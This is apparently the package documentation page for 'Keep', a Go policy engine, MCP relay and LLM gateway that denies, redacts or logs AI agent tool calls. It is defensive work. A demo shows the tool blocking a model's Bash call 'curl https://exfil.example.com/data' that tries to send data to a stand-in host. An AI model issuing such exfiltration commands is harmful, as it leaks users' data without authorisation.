keep

package module
v0.3.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Apr 3, 2026 License: MIT Imports: 11 Imported by: 0

README

Keep

Early Release: This project is in active development. APIs and configuration formats may change.

Policy engine for AI agent tool calls. Define declarative rules that deny, redact, or log structured API calls before they reach upstream services.

Keep ships as a library for embedding in your own tooling, an LLM gateway for Claude Code, and an MCP relay. In each mode, agents connect to a single endpoint and every call is evaluated against your policy before it's forwarded.

For design rationale and principles, see VISION.md.

Installation

Homebrew
brew install majorcontext/tap/keep

This installs three binaries:

Binary Purpose
keep CLI for validating and testing policy rules
keep-mcp-relay MCP proxy that enforces policy on tool calls to upstream MCP servers
keep-llm-gateway HTTP proxy that enforces policy between your agent and an LLM provider
From source
go install github.com/majorcontext/keep/cmd/keep@latest
go install github.com/majorcontext/keep/cmd/keep-mcp-relay@latest
go install github.com/majorcontext/keep/cmd/keep-llm-gateway@latest

Requirements: Go 1.25+.

Quick start

1. Write a rule file
# rules/linear.yaml
scope: linear-tools
mode: audit_only
rules:
  - name: no-delete
    match:
      operation: "delete_issue"
    action: deny
    message: "Issue deletion is not permitted. Archive instead."

  - name: no-auto-p0
    match:
      operation: "create_issue"
      when: "params.priority == 0"
    action: deny
    message: "P0 issues must be created by a human. Use priority 1 or lower."
2. Validate your rules
keep validate ./rules
3. Test against sample calls
keep test ./rules --fixtures fixtures/linear-create-p0.json
4. Run the MCP relay
keep-mcp-relay --config keep-mcp-relay.yaml

The agent connects to the relay's listen port. The relay routes tool calls to upstream MCP servers, evaluates rules, and forwards or denies.

Why this matters

Without Keep With Keep
API tokens grant broad access Operation-level policy narrows what agents can do
No visibility into what agents do with API access Every call evaluated and logged
Agent can create P0 issues, delete resources, email anyone Declarative rules deny dangerous operations
Policy is embedded in prompts (fragile, bypassable) Policy is external and enforced at the API layer
Same rules for humans and agents Agent-specific constraints that tokens don't support

Components

keep -- policy engine library

The core. Loads rule files, evaluates calls, returns allow/deny/redact decisions. Ships as a Go library. Import it directly for inline policy checks in agent applications.

engine, err := keep.Load("./rules")
if err != nil {
    log.Fatal(err)
}
defer engine.Close()

result, err := engine.Evaluate(call, "linear-tools")
if err != nil {
    log.Fatal(err)
}
if result.Decision == keep.Deny {
    // handle denial
}
keep-mcp-relay -- MCP proxy with policy

A convenience binary that imports the engine, speaks MCP, and proxies to multiple upstream MCP servers from a single listen port.

# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
  - scope: linear-tools
    upstream: "https://mcp.linear.app/mcp"
  - scope: slack-tools
    upstream: "https://slack-mcp-server.example.com"
  - scope: local-tools
    command: "npx"
    args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
keep-llm-gateway -- LLM provider proxy with policy

A convenience binary that imports the engine, sits between agent and LLM provider, and decomposes message payloads into per-block calls for flat rule evaluation.

# keep-llm-gateway.yaml
listen: ":8080"
rules_dir: "./rules"
provider: anthropic
upstream: "https://api.anthropic.com"
scope: anthropic-gateway

The agent sets ANTHROPIC_BASE_URL=http://localhost:8080. Keep filters what the model sees (request) and what the model wants to do (response).

Demos

MCP Relay: Read-only database with password redaction

The relay sits between Claude and a sqlite MCP server. Two policies are enforced: passwords are redacted from query results, and write operations are blocked entirely.

"List all users in the database" — passwords replaced with ********:

┌────┬─────────────┬───────────────────┬──────────┬──────────┐
│ id │    name     │       email       │ password │   role   │
├────┼─────────────┼───────────────────┼──────────┼──────────┤
│ 1  │ Alice Chen  │ alice@company.com │ ******** │ admin    │
│ 2  │ Bob Park    │ bob@company.com   │ ******** │ editor   │
│ 3  │ Carol White │ carol@company.com │ ******** │ viewer   │
│ …  │ …           │ …                 │ ******** │ …        │
└────┴─────────────┴───────────────────┴──────────┴──────────┘

"Add a new user named Test User" — write blocked before reaching the database:

Error: policy denied: Database is read-only. Write operations are not permitted. (rule: block-writes)

The agent never sees the real passwords. The database never sees the write. Policy is enforced at the API layer, outside the model's control.

Try it: ./examples/mcp-relay-demo/demo.sh (requires sqlite3 and uvx)

LLM Gateway: Secret redaction, PII blocking, and command filtering

The gateway sits between your agent and the Anthropic API. It decomposes messages into per-block policy calls, filtering both what the model sees and what it tries to do.

Secret redaction — credentials are stripped before reaching the model:

User:  "Deploy with key AKIAIOSFODNN7EXAMPLE"
Model: "Deploy with key [REDACTED:aws-access-key-id]"

PII blocking — prompts containing email addresses are denied:

User:  "Summarize this complaint from jane.doe@acmecorp.com"
Error: PII detected in prompt. Use opaque customer IDs. (rule: block-pii-in-prompts)

Command filtering — dangerous tool use is blocked:

Model: tool_use: Bash(command: "curl https://exfil.example.com/data")
Error: Network access is blocked by policy. (rule: block-networking)

The agent sets ANTHROPIC_BASE_URL=http://localhost:8080 and uses Claude normally. Keep filters both directions transparently.

Try it: ./examples/llm-gateway-demo/demo.sh (requires an Anthropic API key)

Configuration

Rule files are pure policy -- no transport details:

# rules/slack.yaml
scope: slack-tools
rules:
  - name: no-broadcast-mentions
    match:
      operation: "send_message"
      when: "params.text.matches('<!here>|<!channel>')"
    action: deny
    message: "Broadcast mentions (@here, @channel) are not permitted."

Integration configs handle transport:

# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
  - scope: slack-tools
    upstream: "https://slack-mcp.example.com"

See the language specification in docs/plans/2026-03-17-language-spec.md for the full rule file format, expression language, and integration config reference.

Commands

Command Description
keep validate <rules-dir> Validate rule files
keep test <rules-dir> Test rules against fixtures
keep-mcp-relay Run the MCP relay
keep-llm-gateway Run the LLM gateway

How it works

Policy engine: Loads YAML rule files, indexes by scope. Each call is matched against operation globs and CEL expressions. Returns allow, deny, or redact.

Expression language: CEL (Common Expression Language) -- non-Turing-complete, linear-time evaluation, no side effects (except rateCount counters). Supports field access, string matching, collection operators, temporal predicates, rate limiting, and content pattern detection.

MCP relay: Accepts MCP connections from agents, proxies to upstream MCP servers. One tool call = one Keep call. Deny returns an MCP error. Redact mutates tool input before forwarding.

LLM gateway: Decomposes LLM message payloads into per-content-block calls. llm.tool_result, llm.tool_use, llm.request, llm.response -- each evaluated as a flat call. Bidirectional: filters both what the model sees and what the model wants to do.

Audit logging: Every evaluation produces a structured JSON log entry -- timestamp, scope, operation, agent identity, rules evaluated, decision.

Documentation

  • Getting started — Introduction, installation, quick start
  • Concepts — Evaluation model, expressions, scopes, redaction, LLM decomposition, audit logging
  • Guides — MCP relay, LLM gateway, writing rules, testing, secret detection, Go library
  • Reference — CLI, rule file schema, CEL functions, relay config, gateway config, environment variables

Contributing

See CONTRIBUTING.md for development setup, testing, and architecture details.

License

MIT

Documentation

Overview

Package keep is an API-level policy engine for AI agents.

Index

Constants

View Source
const (
	Allow  = engine.Allow
	Deny   = engine.Deny
	Redact = engine.Redact
)

Decision constants re-exported from the engine package.

Variables

This section is empty.

Functions

func ApplyMutations

func ApplyMutations(params map[string]any, mutations []Mutation) map[string]any

ApplyMutations returns a new params map with the given mutations applied. The original map is not modified.

func ValidateRuleBytes added in v0.2.2

func ValidateRuleBytes(data []byte) error

ValidateRuleBytes parses and validates a Keep rule file from raw YAML bytes without compiling an engine. Use this to catch invalid rules early (e.g. at deploy time) before the engine is needed at runtime.

Types

type AuditEntry

type AuditEntry = engine.AuditEntry

type Call

type Call = engine.Call

Type aliases re-exported from internal packages.

func NewHTTPCall added in v0.3.0

func NewHTTPCall(method, host, path string) Call

NewHTTPCall constructs a Call for HTTP request policy evaluation. The operation is formatted as "METHOD host/path" (e.g. "GET api.github.com/repos"). Method is uppercased. Path is expected to include a leading slash. Context.Scope is not set — callers should assign it based on their deployment convention.

func NewMCPCall added in v0.3.0

func NewMCPCall(tool string, params map[string]any) Call

NewMCPCall constructs a Call for MCP tool-use policy evaluation. The operation is the tool name as-is. Params are passed through directly (may be nil). Context.Scope is not set — callers should assign it based on their deployment convention.

type CallContext

type CallContext = engine.CallContext

type Decision

type Decision = engine.Decision

type Engine

type Engine struct {
	// contains filtered or unexported fields
}

Engine holds compiled evaluators for each policy scope.

func Load

func Load(rulesDir string, opts ...Option) (*Engine, error)

Load reads rule files from rulesDir, compiles all CEL expressions and redact patterns, and returns a ready-to-use Engine.

func LoadFromBytes added in v0.2.1

func LoadFromBytes(data []byte, opts ...Option) (*Engine, error)

LoadFromBytes creates an Engine from raw YAML bytes representing a single rule file. The YAML must contain a valid Keep rule file with a scope field. Pack references are not supported — all rules must be inline.

The returned Engine is safe for concurrent use. Call Close when done.

This constructor is intended for embedding Keep in other programs (e.g. Moat) where the caller controls configuration and does not use the filesystem.

func (*Engine) Close

func (e *Engine) Close()

Close stops the rate counter GC goroutine. Call this when the engine is no longer needed to prevent goroutine leaks.

func (*Engine) Evaluate

func (e *Engine) Evaluate(call Call, scope string) (EvalResult, error)

Evaluate runs all rules in the given scope against the call and returns the policy decision.

func (*Engine) Reload

func (e *Engine) Reload() error

Reload re-reads all configuration from disk and recompiles evaluators. The rate store is preserved across reloads.

func (*Engine) Scopes

func (e *Engine) Scopes() []string

Scopes returns the sorted list of loaded scope names.

type EvalResult

type EvalResult = engine.EvalResult

func SafeEvaluate added in v0.3.0

func SafeEvaluate(eng *Engine, call Call, scope string) (result EvalResult, err error)

SafeEvaluate wraps Engine.Evaluate with panic recovery so the host process never crashes due to a policy evaluation bug. On panic it returns EvalResult{Decision: Deny} and an error describing the panic (fail-closed).

type LintWarning added in v0.2.0

type LintWarning = config.LintWarning

LintWarning is a non-fatal issue found during linting.

func LintRules added in v0.2.0

func LintRules(rulesDir string, profilesDir string, packsDir string) ([]LintWarning, error)

LintRules loads rule files from the given directory and returns lint warnings without building a full engine. This is used by the validate command.

type Mutation

type Mutation = redact.Mutation

type Option

type Option func(*engineConfig)

Option configures Load behavior.

func WithAuditHook added in v0.2.1

func WithAuditHook(hook func(AuditEntry)) Option

WithAuditHook registers a callback invoked synchronously after every Evaluate call. The hook receives the AuditEntry from the evaluation result. It is not called when Evaluate returns an error (e.g. unknown scope).

func WithForceEnforce

func WithForceEnforce() Option

WithForceEnforce overrides every scope's mode to "enforce". Deprecated: Use WithMode("enforce") instead.

func WithMode added in v0.2.1

func WithMode(mode string) Option

WithMode overrides the mode for all scopes. Valid values are "enforce" and "audit_only". Returns an error from Load/LoadFromBytes if invalid.

func WithPacksDir

func WithPacksDir(dir string) Option

WithPacksDir sets the directory to load starter pack YAML files from.

func WithProfilesDir

func WithProfilesDir(dir string) Option

WithProfilesDir sets the directory to load profile YAML files from.

type RedactedField

type RedactedField = engine.RedactedField

type RuleResult

type RuleResult = engine.RuleResult

type RuleSet added in v0.2.2

type RuleSet struct {
	// contains filtered or unexported fields
}

RuleSet is a programmatic builder for constructing policy rules without generating YAML. It produces the same internal representation as LoadFromBytes.

func NewRuleSet added in v0.2.2

func NewRuleSet(scope, mode string) *RuleSet

NewRuleSet creates a new rule builder for the given scope. Mode should be "enforce" or "audit_only".

func (*RuleSet) Allow added in v0.2.2

func (rs *RuleSet) Allow(ops ...string)

Allow adds operations to the allowlist. When an allowlist is present, operations not in the list are denied.

func (*RuleSet) Compile added in v0.2.2

func (rs *RuleSet) Compile(opts ...Option) (*Engine, error)

Compile builds an Engine from the rule set. Options (WithMode, WithAuditHook) are applied the same as with LoadFromBytes.

func (*RuleSet) Deny added in v0.2.2

func (rs *RuleSet) Deny(ops ...string)

Deny adds operations to the denylist. Deny takes precedence over Allow for overlapping entries.

Directories

Path Synopsis
cmd
keep command
keep-mcp-relay command
internal
audit
Package audit provides structured audit logging for Keep evaluations.
Package audit provides structured audit logging for Keep evaluations.
cel
content.go — text-analysis helpers for Keep rule expressions.
content.go — text-analysis helpers for Keep rule expressions.
config
Package config parses and validates Keep rule files, profiles, and starter packs.
Package config parses and validates Keep rule files, profiles, and starter packs.
engine
Package engine implements Keep's core policy evaluation.
Package engine implements Keep's core policy evaluation.
rate
Package rate provides an in-memory sliding window counter store for Keep's rateCount() CEL function.
Package rate provides an in-memory sliding window counter store for Keep's rateCount() CEL function.
redact
Package redact handles regex-based field redaction for Keep's redact action.
Package redact handles regex-based field redaction for Keep's redact action.
llm
Package llm provides a provider-agnostic pipeline for evaluating LLM API requests and responses against Keep policy rules.
Package llm provides a provider-agnostic pipeline for evaluating LLM API requests and responses against Keep policy rules.
anthropic
Package anthropic implements the llm.Codec interface for the Anthropic Messages API (https://docs.anthropic.com/en/api/messages).
Package anthropic implements the llm.Codec interface for the Anthropic Messages API (https://docs.anthropic.com/en/api/messages).
Package sse implements Server-Sent Events parsing and writing per the WHATWG spec (https://html.spec.whatwg.org/multipage/server-sent-events.html).
Package sse implements Server-Sent Events parsing and writing per the WHATWG spec (https://html.spec.whatwg.org/multipage/server-sent-events.html).

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL